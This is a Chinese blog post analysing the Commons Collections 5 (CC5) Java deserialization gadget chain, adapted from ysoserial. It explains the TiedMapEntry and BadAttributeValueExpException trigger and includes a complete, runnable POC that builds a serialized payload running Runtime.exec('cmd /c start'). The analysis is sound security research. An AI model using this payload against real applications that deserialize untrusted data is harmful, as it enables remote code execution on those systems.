环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

正文

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。

让我们来看一下为什么通过这两个类可以完成攻击链的触发。

TiedMapEntry

TiedMapEntryCommons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。

CC5中的应用

CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntryLazyMap 的结合来构建攻击链。

  1. LazyMap 的懒加载机制LazyMap 被用来延迟加载对象,攻击者通过将恶意代码与 LazyMap 绑定,延迟执行某些操作。TiedMapEntry 在这里负责将恶意的 LazyMap 对象和其他需要的对象绑定在一起。
  2. TiedMapEntryLazyMap 配合:攻击者可以将 TiedMapEntryLazyMap 一起使用,通过访问 LazyMap 中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。
  3. 触发反序列化时的恶意操作:当反序列化包含 TiedMapEntry 的对象时,访问 TiedMapEntrygetValue() 方法会触发与之绑定的恶意操作,最终可能执行恶意代码。

关键代码分析

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key; public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 会执行到这个地方
// 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重点在这个方法中,他调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

BadAttributeValueExpException

BadAttributeValueExpExceptionjavax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。

在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。

CC5中的应用

CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。

CC5 攻击链的具体应用:

  1. 构造 BadAttributeValueExpException:首先构造一个 BadAttributeValueExpException 对象,并通过反射将恶意的 TiedMapEntry 对象设置到 val 字段中。
  2. 触发反序列化:在反序列化过程中,BadAttributeValueExpExceptionval 字段会被访问,而这个字段绑定了一个 TiedMapEntry 对象。此时,TiedMapEntrygetValue() 方法被调用,从而触发 LazyMap 的懒加载操作。
  3. 执行恶意代码LazyMap 中的 Transformer 链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。

关键代码分析

public class BadAttributeValueExpException extends Exception   {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
} private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点是这个方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

构造POC

一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码

public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser"; public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry); FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}

调试

来弹个cmd

调用链

其实和CC1的调用链非常非常像,只是攻击链的触发点不一样

  • ObjectInputStream.readObject()

    • BadAttributeValueExpException.readObject()

      • TiedMapEntry.toString()

        • TiedMapEntry.getValue()

          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform()

                • InvokerTransformer.transform()

                  • Method.invoke()
                  • Class.getMethod()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.getRuntime()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.exec()

CommonsCollections5(基于ysoserial)的更多相关文章

  1. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  2. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  3. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  4. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  5. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  6. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  9. 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目

    最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...

  10. 自定义基于 VLC 的视频播放器

    前言(蛋疼的背景故事) 前段时间,接了一个小项目,有个需求是要在系统待机一段时间以后,循环播放 MV(类似于 Windows 系统的屏幕保护). 听到这个需求,我首先想到的是 MediaPlayer ...

随机推荐

  1. win11(含win10)自带的一键镜像备份与还原方法

    winxp和win7时代小伙伴们备份或恢复系统时大都采用类似一键ghost类的软件制作系统盘的映像,当遇到故障时再恢复,但win10和win11其实自带有这种映像制作和还原功能,我们就再也不需要额外安 ...

  2. 全网最适合入门的面向对象编程教程:43 Python 常用复合数据类型-扩展内置数据类型

    全网最适合入门的面向对象编程教程:43 Python 常用复合数据类型-扩展内置数据类型 摘要: 在 Python 中,内置数据类型(如列表.字典.集合等)非常强大,但在某些情况下,可能需要扩展这些数 ...

  3. 忘记 mysql 8.0 root 密码 怎么修改

    本文copy自 Centos7重置Mysql 8.0.1 root 密码 问题产生背景: 安装完 最新版的 mysql8.0.1后忘记了密码,向重置root密码:找了网上好多资料都不尽相同,根据自己的 ...

  4. opencv equalizeHist

    ''' What are histograms? Histograms are collected counts of data organized into a set of predefined ...

  5. sql 分组查询并新增序号

    在SQL中,你可以使用ROW_NUMBER()函数来为结果集中的每一行新增一个序号.这个序号是基于某个排序条件的分区排序结果. 以下是一个简单的例子,假设我们有一个名为students的表,它有两列: ...

  6. CSS & JS Effect – Styling Input Radio

    原生 Radio 的 Limitation <input type="radio" style="width: 25px; height: 25px; cursor ...

  7. 10 分钟快速搞懂 Lambda 表达式

    Lambda简介 Lambda表达式是Java8引入的一个重要特性,相当于一个语法糖. 语法糖(Syntactic sugar)是指在编程语言中引入的一种语法,它可以使代码更易读.更简洁,但并没有引入 ...

  8. Cookie——基本使用

    Cookie 基本使用      Cookie 原理 Cookie 使用细节 Cookie jsp中获取Cookie

  9. Vue3——集成mock 模拟数据生成器

    安装依赖 npm install -D mockjs vite-plugin-mock@2.9.6 在 vite.config.js 文件中引入并配置 vite-plugin-mock 插件 impo ...

  10. 【赵渝强老师】第一个Oracle的手工备份和恢复

    一.什么是手工管理的备份与恢复? 尽管在Oracle中,已经有了RMAN的备份与恢复.但是作为Oracle备份恢复的一种方式,我们将在本文中通过一个例子来为大家介绍如何使用手工的方式来完成Oracle ...